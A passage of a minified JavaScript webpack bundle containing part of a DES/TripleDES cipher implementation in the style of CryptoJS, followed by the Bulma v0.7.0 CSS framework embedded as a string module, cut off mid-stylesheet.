1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],d=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],f=o.DES=r.extend({_doReset:function(){for(var n=this._key.words,e=[],t=0;t<56;t++){var i=a[t]-1;e[t]=n[i>>>5]>>>31-i%32&1}for(var r=this._subKeys=[],o=0;o<16;o++){var c=r[o]=[],d=l[o];for(t=0;t<24;t++)c[t/6|0]|=e[(s[t]-1+d)%28]<<31-t%6,c[4+(t/6|0)]|=e[28+(s[t+24]-1+d)%28]<<31-t%6;c[0]=c[0]<<1|c[0]>>>31;for(t=1;t<7;t++)c[t]=c[t]>>>4*(t-1)+3;c[7]=c[7]<<5|c[7]>>>27}var f=this._invSubKeys=[];for(t=0;t<16;t++)f[t]=r[15-t]},encryptBlock:function(n,e){this._doCryptBlock(n,e,this._subKeys)},decryptBlock:function(n,e){this._doCryptBlock(n,e,this._invSubKeys)},_doCryptBlock:function(n,e,t){this._lBlock=n[e],this._rBlock=n[e+1],u.call(this,4,252645135),u.call(this,16,65535),m.call(this,2,858993459),m.call(this,8,16711935),u.call(this,1,1431655765);for(var i=0;i<16;i++){for(var r=t[i],o=this._lBlock,a=this._rBlock,s=0,l=0;l<8;l++)s|=c[l][((a^r[l])&d[l])>>>0];this._lBlock=a,this._rBlock=o^s}var f=this._lBlock;this._lBlock=this._rBlock,this._rBlock=f,u.call(this,1,1431655765),m.call(this,8,16711935),m.call(this,2,858993459),u.call(this,16,65535),u.call(this,4,252645135),n[e]=this._lBlock,n[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function u(n,e){var t=(this._lBlock>>>n^this._rBlock)&e;this._rBlock^=t,this._lBlock^=t<<n}function m(n,e){var t=(this._rBlock>>>n^this._lBlock)&e;this._lBlock^=t,this._rBlock^=t<<n}e.DES=r._createHelper(f);var h=o.TripleDES=r.extend({_doReset:function(){var n=this._key.words;this._des1=f.createEncryptor(i.create(n.slice(0,2))),this._des2=f.createEncryptor(i.create(n.slice(2,4))),this._des3=f.createEncryptor(i.create(n.slice(4,6)))},encryptBlock:function(n,e){this._des1.encryptBlock(n,e),this._des2.decryptBlock(n,e),this._des3.encryptBlock(n,e)},decryptBlock:function(n,e){this._des3.decryptBlock(n,e),this._des2.encryptBlock(n,e),this._des1.decryptBlock(n,e)},keySize:6,ivSize:2,blockSize:2});e.TripleDES=r._createHelper(h)}(),n.TripleDES},n.exports=i(t(0),t(7),t(9),t(8),t(1))},function(n,e,t){(n.exports=t(58)()).push([n.i,'/*! bulma.io v0.7.0 | MIT License | github.com/jgthms/bulma */\n@keyframes spinAround {\n from {\n transform: rotate(0deg); }\n to {\n transform: rotate(359deg); } }\n\n.delete, .modal-close, .is-unselectable, .button, .file, .breadcrumb, .pagination-previous,\n.pagination-next,\n.pagination-link,\n.pagination-ellipsis, .tabs {\n -webkit-touch-callout: none;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none; }\n\n.select:not(.is-multiple):not(.is-loading)::after, .navbar-link::after {\n border: 3px solid transparent;\n border-radius: 2px;\n border-right: 0;\n border-top: 0;\n content: " ";\n display: block;\n height: 0.625em;\n margin-top: -0.4375em;\n pointer-events: none;\n position: absolute;\n top: 50%;\n transform: rotate(-45deg);\n transform-origin: center;\n width: 0.625em; }\n\n.box:not(:last-child), .content:not(:last-child), .notification:not(:last-child), .progress:not(:last-child), .table:not(:last-child), .table-container:not(:last-child), .title:not(:last-child),\n.subtitle:not(:last-child), .block:not(:last-child), .highlight:not(:last-child), .breadcrumb:not(:last-child), .level:not(:last-child), .message:not(:last-child), .tabs:not(:last-child) {\n margin-bottom: 1.5rem; }\n\n.delete, .modal-close {\n -moz-appearance: none;\n -webkit-appearance: none;\n background-color: rgba(10, 10, 10, 0.2);\n border: none;\n border-radius: 290486px;\n cursor: pointer;\n display: inline-block;\n flex-grow: 0;\n flex-shrink: 0;\n font-size: 0;\n height: 20px;\n max-height: 20px;\n max-width: 20px;\n min-height: 20px;\n min-width: 20px;\n outline: none;\n position: relative;\n vertical-align: top;\n width: 20px; }\n .delete::before, .modal-close::before, .delete::after, .modal-close::after {\n background-color: white;\n content: "";\n display: block;\n left: 50%;\n position: absolute;\n top: 50%;\n transform: translateX(-50%) translateY(-50%) rotate(45deg);\n transform-origin: center center; }\n .delete::before, .modal-close::before {\n height: 2px;\n width: 50%; }\n .delete::after, .modal-close::after {\n height: 50%;\n width: 2px; }\n .delete:hover, .modal-close:hover, .delete:focus, .modal-close:focus {\n background-color: rgba(10, 10, 10, 0.3); }\n .delete:active, .modal-close:active {\n background-color: rgba(10, 10, 10, 0.4); }\n .is-small.delete, .is-small.modal-close {\n height: 16px;\n max-height: 16px;\n max-width: 16px;\n min-height: 16px;\n min-width: 16px;\n width: 16px; }\n .is-medium.delete, .is-medium.modal-close {\n height: 24px;\n max-height: 24px;\n max-width: 24px;\n min-height: 24px;\n min-width: 24px;\n width: 24px; }\n .is-large.delete, .is-large.modal-close {\n height: 32px;\n max-height: 32px;\n max-width: 32px;\n min-height: 32px;\n min-width: 32px;\n width: 32px; }\n\n.button.is-loading::after, .select.is-loading::after, .control.is-loading::after, .loader {\n animation: spinAround 500ms infinite linear;\n border: 2px solid #dbdbdb;\n border-radius: 290486px;\n border-right-color: transparent;\n border-top-color: transparent;\n content: "";\n display: block;\n height: 1em;\n position: relative;\n width: 1em; }\n\n.is-overlay, .image.is-square img, .image.is-1by1 img, .image.is-5by4 img, .image.is-4by3 img, .image.is-3by2 img, .image.is-5by3 img, .image.is-16by9 img, .image.is-2by1 img, .image.is-3by1 img, .image.is-4by5 img, .image.is-3by4 img, .image.is-2by3 img, .image.is-3by5 img, .image.is-9by16 img, .image.is-1by2 img, .image.is-1by3 img, .modal, .modal-background, .hero-video {\n bottom: 0;\n left: 0;\n position: absolute;\n right: 0;\n top: 0; }\n\n.button, .input,\n.textarea, .select select, .file-cta,\n.file-name, .pagination-previous,\n.pagination-next,\n.pagination-link,\n.pagination-ellipsis {\n -moz-appearance: none;\n -webkit-appearance: none;\n align-items: center;\n border: 1px solid transparent;\n border-radius: 4px;\n box-shadow: none;\n display: inline-flex;\n font-size: 1rem;\n height: 2.25em;\n justify-content: flex-start;\n line-height: 1.5;\n padding-bottom: calc(0.375em - 1px);\n padding-left: calc(0.625em - 1px);\n padding-right: calc(0.625em - 1px);\n padding-top: calc(0.375em - 1px);\n position: relative;\n vertical-align: top; }\n .button:focus, .input:focus,\n .textarea:focus, .select select:focus, .file-cta:focus,\n .file-name:focus, .pagination-previous:focus,\n .pagination-next:focus,\n .pagination-link:focus,\n .pagination-ellipsis:focus, .is-focused.button, .is-focused.input,\n .is-focused.textarea, .select select.is-focused, .is-focused.file-cta,\n .is-focused.file-name, .is-focused.pagination-previous,\n .is-focused.pagination-next,\n .is-focused.pagination-link,\n .is-focused.pagination-ellipsis, .button:active, .input:active,\n .textarea:active, .select select:active, .file-cta:active,\n .file-name:active, .pagination-previous:active,\n .pagination-next:active,\n .pagination-link:active,\n .pagination-ellipsis:active, .is-active.button, .is-active.input,\n .is-active.textarea, .select select.is-active, .is-active.file-cta,\n .is-active.file-name, .is-active.pagination-previous,\n .is-active.pagination-next,\n .is-active.pagination-link,\n .is-active.pagination-ellipsis {\n outline: none; }\n .button[disabled], .input[disabled],\n .textarea[disabled], .select select[disabled], .file-cta[disabled],\n .file-name[disabled], .pagination-previous[disabled],\n .pagination-next[disabled],\n .pagination-link[disabled],\n .pagination-ellipsis[disabled] {\n cursor: not-allowed; }\n\n/*! minireset.css v0.0.3 | MIT License | github.com/jgthms/minireset.css */\nhtml,\nbody,\np,\nol,\nul,\nli,\ndl,\ndt,\ndd,\nblockquote,\nfigure,\nfieldset,\nlegend,\ntextarea,\npre,\niframe,\nhr,\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n margin: 0;\n padding: 0; }\n\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n font-size: 100%;\n font-weight: normal; }\n\nul {\n list-style: none; }\n\nbutton,\ninput,\nselect,\ntextarea {\n margin: 0; }\n\nhtml {\n box-sizing: border-box; }\n\n*, *::before, *::after {\n box-sizing: inherit; }\n\nimg,\naudio,\nvideo {\n height: auto;\n max-width: 100%; }\n\niframe {\n border: 0; }\n\ntable {\n border-collapse: collapse;\n border-spacing: 0; }\n\ntd,\nth {\n padding: 0;\n text-align: left; }\n\nhtml {\n background-color: white;\n font-size: 16px;\n -moz-osx-font-smoothing: grayscale;\n -webkit-font-smoothing: antialiased;\n min-width: 300px;\n overflow-x: hidden;\n overflow-y: scroll;\n text-rendering: optimizeLegibility;\n text-size-adjust: 100%; }\n\narticle,\naside,\nfigure,\nfooter,\nheader,\nhgroup,\nsection {\n display: block; }\n\nbody,\nbutton,\ninput,\nselect,\ntextarea {\n font-family: BlinkMacSystemFont, -apple-system, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", "Helvetica", "Arial", sans-serif; }\n\ncode,\npre {\n -moz-osx-font-smoothing: auto;\n -webkit-font-smoothing: auto;\n font-family: monospace; }\n\nbody {\n color: #4a4a4a;\n font-size: 1rem;\n font-weight: 400;\n line-height: 1.5; }\n\na {\n color: #3273dc;\n cursor: pointer;\n text-decoration: none; }\n a strong {\n color: currentColor; }\n a:hover {\n color: #363636; }\n\ncode {\n background-color: whitesmoke;\n color: #ff3860;\n font-size: 0.875em;\n font-weight: normal;\n padding: 0.25em 0.5em 0.25em; }\n\nhr {\n background-color: whitesmoke;\n border: none;\n display: block;\n height: 2px;\n margin: 1.5rem 0; }\n\nimg {\n height: auto;\n max-width: 100%; }\n\ninput[type="checkbox"],\ninput[type="radio"] {\n vertical-align: baseline; }\n\nsmall {\n font-size: 0.875em; }\n\nspan {\n font-style: inherit;\n font-weight: inherit; }\n\nstrong {\n color: #363636;\n font-weight: 700; }\n\npre {\n -webkit-overflow-scrolling: touch;\n background-color: whitesmoke;\n color: #4a4a4a;\n font-size: 0.875em;\n overflow-x: auto;\n padding: 1.25rem 1.5rem;\n white-space: pre;\n word-wrap: normal; }\n pre code {\n background-color: transparent;\n color: currentColor;\n font-size: 1em;\n padding: 0; }\n\ntable td,\ntable th {\n text-align: left;\n vertical-align: top; }\n\ntable th {\n color: #363636; }\n\n.is-clearfix::after {\n clear: both;\n content: " ";\n display: table; }\n\n.is-pulled-left {\n float: left !important; }\n\n.is-pulled-right {\n float: right !important; }\n\n.is-clipped {\n overflow: hidden !important; }\n\n.is-size-1 {\n font-size: 3rem !important; }\n\n.is-size-2 {\n font-size: 2.5rem !important; }\n\n.is-size-3 {\n font-size: 2rem !important; }\n\n.is-size-4 {\n font-size: 1.5rem !important; }\n\n.is-size-5 {\n font-size: 1.25rem !important; }\n\n.is-size-6 {\n font-size: 1rem !important; }\n\n.is-size-7 {\n font-size: 0.75rem !important; }\n\n@media screen and (max-width: 768px) {\n .is-size-1-mobile {\n font-size: 3rem !important; }\n .is-size-2-mobile {\n font-size: 2.5rem !important; }\n .is-size-3-mobile {\n font-size: 2rem !important; }\n .is-size-4-mobile {\n font-size: 1.5rem !important; }\n .is-size-5-mobile {\n font-size: 1.25rem !important; }\n .is-size-6-mobile {\n font-size: 1rem !important; }\n .is-size-7-mobile {\n font-size: 0.75rem !important; } }\n\n@media screen and (min-width: 769px), print {\n .is-size-1-tablet {\n font-size: 3rem !important; }\n .is-size-2-tablet {\n font-size: 2.5rem !important; }\n .is-size-3-tablet {\n font-size: 2rem !important; }\n .is-size-4-tablet {\n font-size: 1.5rem !important; }\n .is-size-5-tablet {\n font-size: 1.25rem !important; }\n .is-size-6-tablet {\n font-size: 1rem !important; }\n .is-size-7-tablet {\n font-size: 0.75rem !important; } }\n\n@media screen and (max-width: 1087px) {\n .is-size-1-touch {\n font-size: 3rem !important; }\n .is-size-2-touch {\n font-size: 2.5rem !important; }\n .is-size-3-touch {\n font-size: 2rem !important; }\n .is-size-4-touch {\n font-size: 1.5rem !important; }\n .is-size-5-touch {\n font-size: 1.25rem !important; }\n .is-size-6-touch {\n font-size: 1rem !important; }\n .is-size-7-touch {\n font-size: 0.75rem !important; } }\n\n@media screen and (min-width: 1088px) {\n .is-size-1-desktop {\n font-size: 3rem !important; }\n .is-size-2-desktop {\n font-size: 2.5rem !important; }\n .is-size-3-desktop {\n font-size: 2rem !important; }\n .is-size-4-desktop {\n font-size: 1.5rem !important; }\n .is-size-5-desktop {\n font-size: 1.25rem !important; }\n .is-size-6-desktop {\n font-size: 1rem !important; }\n .is-size-7-desktop {\n font-size: 0.75rem !important; } }\n\n@media screen and (min-width: 1280px) {\n .is-size-1-widescreen {\n font-size: 3rem !important; }\n .is-size-2-widescreen {\n font-size: 2.5rem !important; }\n .is-size-3-widescreen {\n font-size: 2rem !important; }\n .is-size-4-widescreen {\n font-size: 1.5rem !important; }\n .is-size-5-widescreen {\n font-size: 1.25rem !important; }\n .is-size-6-widescreen {\n font-size: 1rem !important; }\n .is-size-7-widescreen {\n font-size: 0.75rem !important; } }\n\n@media screen and (min-width: 1472px) {\n .is-size-1-fullhd {\n font-size: 3rem !important; }\n .is-size-2-fullhd {\n font-size: 2.5rem !important; }\n .is-size-3-fullhd {\n font-size: 2rem !important; }\n .is-size-4-fullhd {\n font-size: 1.5rem !important; }\n .is-size-5-fullhd {\n font-size: 1.25rem !important; }\n .is-size-6-fullhd {\n font-size: 1rem !important; }\n .is-size-7-fullhd {\n font-size: 0.75rem !important; } }\n\n.has-text-centered {\n text-align: center !important; }\n\n.has-text-justified {\n text-align: justify !important; }\n\n.has-text-left {\n text-align: left !important; }\n\n.has-text-right {\n text-align: right !important; }\n\n@media screen and (max-width: 768px) {\n .has-text-centered-mobile {\n text-align: center !important; } }\n\n@media screen and (min-width: 769px), print {\n .has-text-centered-tablet {\n text-align: center !important; } }\n\n@media screen and (min-width: 769px) and (max-width: 1087px) {\n .has-text-centered-tablet-only {\n text-align: center !important; } }\n\n@media screen and (max-width: 1087px) {\n .has-text-centered-touch {\n text-align: center !important; } }\n\n@media screen and (min-width: 1088px) {\n .has-text-centered-desktop {\n text-align: center !important; } }\n\n@media screen and (min-width: 1088px) and (max-width: 1279px) {\n .has-text-centered-desktop-only {\n text-align: center !important; } }\n\n@media screen and (min-width: 1280px) {\n .has-text-centered-widescreen {\n text-align: center !important; } }\n\n@media screen and (min-width: 1280px) and (max-width: 1471px) {\n .has-text-centered-widescreen-only {\n text-align: center !important; } }\n\n@media screen and (min-width: 1472px) {\n .has-text-centered-fullhd {\n text-align: center !important; } }\n\n@media screen and (max-width: 768px) {\n .has-text-justified-mobile {\n text-align: justify !important; } }\n\n@media screen and (min-width: 769px), print {\n .has-text-justified-tablet {\n text-align: justify !important; } }\n\n@media screen and (min-width: 769px) and (max-width: 1087px) {\n .has-text-justified-tablet-only {\n text-align: justify !important; } }\n\n@media screen and (max-width: 1087px) {\n .has-text-justified-touch {\n text-align: justify !important; } }\n\n@media screen and (min-width: 1088px) {\n .has-text-justified-desktop {\n text-align: justify !important; } }\n\n@media screen and (min-width: 1088px) and (max-width: 1279px) {\n .has-text-justified-desktop-only {\n text-align: justify !important; } }\n\n@media screen and (min-width: 1280px) {\n .has-text-justified-widescreen {\n text-align: justify !important; } }\n\n@media screen and (min-width: 1280px) and (max-width: 1471px) {\n .has-text-justified-widescreen-only {\n text-align: justify !important; } }\n\n@media screen and (min-width: 1472px) {\n .has-text-justified-fullhd {\n text-align: justify !important; } }\n\n@media screen and (max-width: 768px) {\n .has-text-left-mobile {\n text-align: left !important; } }\n\n@media screen and (min-width: 769px), print {\n .has-text-left-tablet {\n text-align: left !important; } }\n\n@media screen and (min-width: 769px) and (max-width: 1087px) {\n .has-text-left-tablet-only {\n text-align: left !important; } }\n\n@media screen and (max-width: 1087px) {\n .has-text-left-touch {\n text-align: left !important; } }\n\n@media screen and (min-width: 1088px) {\n .has-text-left-desktop {\n text-align: left !important; } }\n\n@media screen and (min-width: 1088px) and (max-width: 1279px) {\n .has-text-left-desktop-only {\n text-align: left !important; } }\n\n@media screen and (min-width: 1280px) {\n .has-text-left-widescreen {\n text-align: left !important; } }\n\n@media screen and (min-width: 1280px) and (max-width: 1471px) {\n .has-text-left-widescreen-only {\n text-align: left !important; } }\n\n@media screen and (min-width: 1472px) {\n .has-text-left-fullhd {\n text-align: left !important; } }\n\n@media screen and (max-width: 768px) {\n .has-text-right-mobile {\n text-align: right !important; } }\n\n@media screen and (min-width: 769px), print {\n .has-text-right-tablet {\n text-align: right !important; } }\n\n@media screen and (min-width: 769px) and (max-width: 1087px) {\n .has-text-right-tablet-only {\n text-align: right !important; } }\n\n@media screen and (max-width: 1087px) {\n .has-text-right-touch {\n text-align: right !important; } }\n\n@media screen and (min-width: 1088px) {\n .has-text-right-desktop {\n text-align: right !important; } }\n\n@media screen and (min-width: 1088px) and (max-width: 1279px) {\n .has-text-right-desktop-only {\n text-align: right !important; } }\n\n@media screen and (min-width: 1280px) {\n .has-text-right-widescreen {\n text-align: right !important; } }\n\n@media screen and (min-width: 1280px) and (max-width: 1471px) {\n .has-text-right-widescreen-only {\n text-align: right !important; } }\n\n@media screen and (min-width: 1472px) {\n .has-text-right-fullhd {\n text-align: right !important; } }\n\n.is-capitalized {\n text-transform: capitalize !important; }\n\n.is-lowercase {\n text-transform: lowercase !important; }\n\n.is-uppercase {\n text-transform: uppercase !important; }\n\n.is-italic {\n font-style: italic !important; }\n\n.has-text-white {\n color: white !important; }\n\na.has-text-white:hover, a.has-text-white:focus {\n color: #e6e6e6 !important; }\n\n.has-background-white {\n background-color: white !important; }\n\n.has-text-black {\n color: #0a0a0a !important; }\n\na.has-text-black:hover, a.has-text-black:focus {\n color: black !important; }\n\n.has-background-black {\n background-color: #0a0a0a !important; }\n\n.has-text-light {\n color: whitesmoke !important; }\n\na.has-text-light:hover, a.has-text-light:focus {\n color: #dbdbdb !important; }\n\n.has-background-light {\n background-color: whitesmoke !important; }\n\n.has-text-dark {\n color: #363636 !important; }\n\na.has-text-dark:hover, a.has-text-dark:focus {\n color: #1c1c1c !important; }\n\n.has-background-dark {\n background-color: #363636 !important; }\n\n.has-text-primary {\n color: #ff4300 !important; }\n\na.has-text-primary:hover, a.has-text-primary:focus {\n color: #cc3600 !important; }\n\n.has-background-primary {\n background-color: #ff4300 !important; }\n\n.has-text-link {\n color: #3273dc !important; }\n\na.has-text-link:hover, a.has-text-link:focus {\n color: #205bbc !important; }\n\n.has-background-link {\n background-color: #3273dc !important; }\n\n.has-text-info {\n color: #209cee !important; }\n\na.has-text-info:hover, a.has-text-info:focus {\n color: #0f81cc !important; }\n\n.has-background-info {\n background-color: #209cee !important; }\n\n.has-text-success {\n color: #23d160 !important; }\n\na.has-text-success:hover, a.has-text-success:focus {\n color: #1ca64c !important; }\n\n.has-background-success {\n background-color: #23d160 !important; }\n\n.has-text-warning {\n color: #ffdd57 !important; }\n\na.has-text-warning:hover, a.has-text-warning:focus {\n color: #ffd324 !important; }\n\n.has-background-warning {\n background-color: #ffdd57 !important; }\n\n.has-text-danger {\n color: #ff3860 !important; }\n\na.has-text-danger:hover, a.has-text-danger:focus {\n color: #ff0537 !important; }\n\n.has-background-danger {\n background-color: #ff3860 !important; }\n\n.has-text-black-bis {\n color: #121212 !important; }\n\n.has-text-black-ter {\n color: #242424 !important; }\n\n.has-text-grey-darker {\n color: #363636 !important; }\n\n.has-text-grey-dark {\n color: #4a4a4a !important; }\n\n.has-text-grey {\n color: #7a7a7a !important; }\n\n.has-text-grey-light {\n color: #b5b5b5 !important; }\n\n.has-text-grey-lighter {\n color: #dbdbdb !important; }\n\n.has-text-white-ter {\n color: whitesmoke !important; }\n\n.has-text-white-bis {\n color: #fafafa !important; }\n\n.has-text-weight-light {\n font-weight: 300 !important; }\n\n.has-text-weight-normal {\n font-weight: 400 !important; }\n\n.has-text-weight-semibold {\n font-weight: 600 !important; }\n\n.has-text-weight-bold {\n font-weight: 700 !important; }\n\n.is-block {\n display: block !important; }\n\n@media screen and (max-width: 768px) {\n .is-block-mobile {\n display: block !important; } }\n\n@media screen and (min-width: 769px), print {\n .is-block-tablet {\n display: block !important; } }\n\n@media screen and (min-width: 769px) and (max-width: 1087px) {\n .is-block-tablet-only {\n display: block !important; } }\n\n@media screen and (max-width: 1087px) {\n .is-block-touch {\n display: block !important; } }\n\n@media screen and (min-width: 1088px) {\n .is-block-desktop {\n display: block !important; } }\n\n@media screen and (min-width: 1088px) and (max-width: 1279px) {\n .is-block-desktop-only {\n display: block !important; } }\n\n@media screen and (min-width: 1280px) {\n .is-block-widescreen {\n display: block !important; } }\n\n@media screen and (min-width: 1280px) and (max-width: 1471px) {\n .is-block-widescreen-only {\n display: block !important; } }\n\n@media screen and (min-width: 1472px) {\n .is-block-fullhd {\n display: block !important; } }\n\n.is-flex {\n display: flex !important; }\n\n@media screen and (max-width: 768px) {\n .is-flex-mobile {\n display: flex !important; } }\n\n@media screen and (min-width: 769px), print {\n .is-flex-tablet {\n display: flex !important; } }\n\n@media screen and (min-width: 769px) and (max-width: 1087px) {\n .is-flex-tablet-only {\n display: flex !important; } }\n\n@media screen and (max-width: 1087px) {\n .is-flex-touch {\n display: flex !important; } }\n\n@media screen and (min-width: 1088px) {\n .is-flex-desktop {\n display: flex !important; } }\n\n@media screen and (min-width: 1088px) and (max-width: 1279px) {\n .is-flex-desktop-only {\n display: flex !important; } }\n\n@media screen and (min-width: 1280px) {\n .is-flex-widescreen {\n display: flex !important; } }\n\n@media screen and (min-width: 1280px) and (max-width: 1471px) {\n .is-flex-widescreen-only {\n display: flex !important; } }\n\n@media screen and (min-width: 1472px) {\n .is-flex-fullhd {\n display: flex !important; } }\n\n.is-inline {\n display: inline !important; }\n\n@media screen and (max-width: 768px) {\n .is-inline-mobile {\n display: inline !important; } }\n\n@media screen and (min-width: 769px), print {\n .is-inline-tablet {\n display: inline !important; } }\n\n@media screen and (min-width: 769px) and (max-width: 1087px) {\n .is-inline-tablet-only {\n display: inline !important; } }\n\n@media screen and (max-width: 1087px) {\n .is-inline-touch {\n display: inline !important; } }\n\n@media screen and (min-width: 1088px) {\n .is-inline-desktop {\n display: inline !important; } }\n\n@media screen and (min-width: 1088px) and (max-width: 1279px) {\n .is-inline-desktop-only {\n display: inline !important; } }\n\n@media screen and (min-width: 1280px) {\n .is-inline-widescreen {\n display: inline !important; } }\n\n@media screen and (min-width: 1280px) and (max-width: 1471px) {\n .is-inline-widescreen-only {\n display: inline !important; } }\n\n@media screen and (min-width: 1472px) {\n .is-inline-fullhd {\n display: inline !important; } }\n\n.is-inline-block {\n display: inline-block !important; }\n\n@media screen and (max-width: 768px) {\n .is-inline-block-mobile {\n display: inline-block !important; } }\n\n@media screen and (min-width: 769px), print {\n .is-inline-block-tablet {\n display: inline-block !important; } }\n\n@media screen and (min-width: 769px) and (max-width: 1087px) {\n .is-inline-block-tablet-only {\n display: inline-block !important; } }\n\n@media screen and (max-width: 1087px) {\n .is-inline-block-touch {\n display: inline-block !important; } }\n\n@media screen and (min-width: 1088px) {\n .is-inline-block-desktop {\n display: inline-block !important; } }\n\n@media screen and (min-width: 1088px) and (max-width: 1279px) {\n .is-inline-block-desktop-only {\n display: inline-block !important; } }\n\n@media screen and (min-width: 1280px) {\n .is-inline-block-widescreen {\n display: inline-block !important; } }\n\n@media screen and (min-width: 1280px) and (max-width: 1471px) {\n .is-inline-block-widescreen-only {\n display: inline-block !important; } }\n\n@media screen and (min-width: 1472px) {\n .is-inline-block-fullhd {\n display: inline-block !important; } }\n\n.is-inline-flex {\n display: inline-flex !important; }\n\n@media screen and (max-width: 768px) {\n .is-inline-flex-mobile {\n display: inline-flex !important; } }\n\n@media screen and (min-width: 769px), print {\n .is-inline-flex-tablet {\n display: inline-flex !important; } }\n\n@media screen and (min-width: 769px) and (max-width: 1087px) {\n .is-inline-flex-tablet-only {\n display: inline-flex !important; } }\n\n@media screen and (max-width: 1087px) {\n .is-inline-flex-touch {\n display: inline-flex !important; } }\n\n@media screen and (min-width: 1088px) {\n 